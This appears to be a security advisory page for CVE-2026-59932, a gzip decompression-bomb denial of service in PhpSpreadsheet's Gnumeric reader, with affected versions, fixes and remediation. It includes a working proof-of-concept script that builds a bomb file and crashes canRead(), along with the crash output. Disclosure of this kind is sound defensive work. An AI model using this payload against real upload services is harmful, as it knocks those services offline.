CVE-2026-59932: PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion

Published Jul 23, 2026
·
Updated

Summary

PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.

This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.

Vulnerability details

Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:

- src/PhpSpreadsheet/Reader/Gnumeric.php:80-90 calls $this->gzfileGetContents($filename) from canRead(). - src/PhpSpreadsheet/Reader/Gnumeric.php:105-115 calls canRead() and then reads the expanded contents again for worksheet-name listing. - src/PhpSpreadsheet/Reader/Gnumeric.php:253-265 calls canRead() and then reads the expanded contents again for full loading.

The vulnerable expansion is in gzfileGetContents():

- src/PhpSpreadsheet/Reader/Gnumeric.php:187-190 reads the entire input file into $contents with filegetcontents(). - src/PhpSpreadsheet/Reader/Gnumeric.php:192-197 detects gzip magic bytes and calls gzdecode($contents) without a decompressed-size cap. - src/PhpSpreadsheet/Reader/Gnumeric.php:204-205 scans the expanded data only after decompression has already completed.

Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.

Impact

A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.

In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memorylimit=64M at Reader/Gnumeric.php:195.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.

bash docker run --rm --network none -i \ -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \ -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH' set -eu php -r ' $prefix = "<?xml version=\"1.0\"?><gnm:Workbook xmlns:gnm=\"http://www.gnumeric.org/v10.dtd\">"; $suffix = "</gnm:Workbook>"; $payload = $prefix . strrepeat("A", 96 1024 1024) . $suffix; $gz = gzencode($payload, 9); fileputcontents("/tmp/bomb.gnumeric", $gz); printf("compressedsize=%d expandedsize=%d\n", filesize("/tmp/bomb.gnumeric"), strlen($payload)); ' php -d memorylimit=64M -d displayerrors=1 -r ' require "/app/vendor/autoload.php"; $r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric(); vardump($r->canRead("/tmp/bomb.gnumeric")); ' 2>&1 || true SH

Observed output:

text compressedsize=97811 expandedsize=100663390 PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195 PHP Stack trace: PHP 1. {main}() Command line code:0 PHP 2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4 PHP 3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84 PHP 4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195

Suggested remediation

- Do not decompress gzip data with unbounded gzdecode() for untrusted .gnumeric files. - Stream decompression with a strict maximum output-size limit before allocating the full expanded XML. - Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files. - Ensure canRead(), listWorksheetNames(), listWorksheetInfo(), and load() share bounded decompression logic and avoid decompressing the same file repeatedly. - Fail closed with a recoverable Reader\Exception when limits are exceeded, rather than allowing a PHP fatal memory error.

Other sources

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed. This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.

— MITRE

PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion

— Packagist

Affected Software

11 affected componentsFixes available
composer/phpoffice/phpspreadsheet<=1.30.5
1.30.6
composer/phpoffice/phpspreadsheet>=2.0.0<=2.1.17
2.1.18
composer/phpoffice/phpspreadsheet>=2.2.0<=2.4.6
2.4.7
composer/phpoffice/phpspreadsheet>=3.3.0<=3.10.6
3.10.7
composer/phpoffice/phpspreadsheet>=4.0.0<=5.8.0
5.8.1
composer/phpoffice/phpspreadsheet<=1.30.5
composer/phpoffice/phpspreadsheet>=2.0.0, <=2.1.17
composer/phpoffice/phpspreadsheet>=2.2.0, <=2.4.6
composer/phpoffice/phpspreadsheet>=3.3.0, <=3.10.6
composer/phpoffice/phpspreadsheet>=4.0.0, <=5.8.0
IBM API Connect<=V10.0.8.0 - V10.0.8.12

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 1.30.6
  2. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.1.18
  3. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.4.7
  4. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 3.10.7
  5. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 5.8.1
  6. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 5.8.1
  7. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 3.10.7
  8. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 2.4.7
  9. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 2.1.18
  10. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 1.30.6
  11. Compensating control

    Configure your application to enforce limits for untrusted `.gnumeric` uploads such as a maximum compressed size and maximum decompressed (expanded XML) size, rejecting files that exceed those limits before calling `PhpOffice\PhpSpreadsheet\Reader\Gnumeric`.

Event History

Jul 23, 2026
Advisory Published
via GitHub·03:00 PM
Data Sourced
via GitHub·03:00 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·03:00 PM
DescriptionSeverityAffected Software
Jul 28, 2026
CVE Published
via MITRE·05:59 PM
Data Sourced
via MITRE·05:59 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeakness
Oct 14, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-59932?

CVE-2026-59932 has a high severity rating of 7.5.

2

What types of attacks are possible with CVE-2026-59932?

CVE-2026-59932 allows attackers to exploit the PhpSpreadsheet Gnumeric reader by supplying malicious `.gnumeric` files that can lead to denial of service.

3

How do I fix CVE-2026-59932?

To fix CVE-2026-59932, update PhpSpreadsheet to version 1.30.6 or later that addresses this vulnerability.

4

What consequences can occur from exploiting CVE-2026-59932?

Exploitation of CVE-2026-59932 can lead to Denial of Service due to uncontrolled memory allocation.

5

Which software is affected by CVE-2026-59932?

CVE-2026-59932 affects the PhpSpreadsheet library used in PHP applications.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203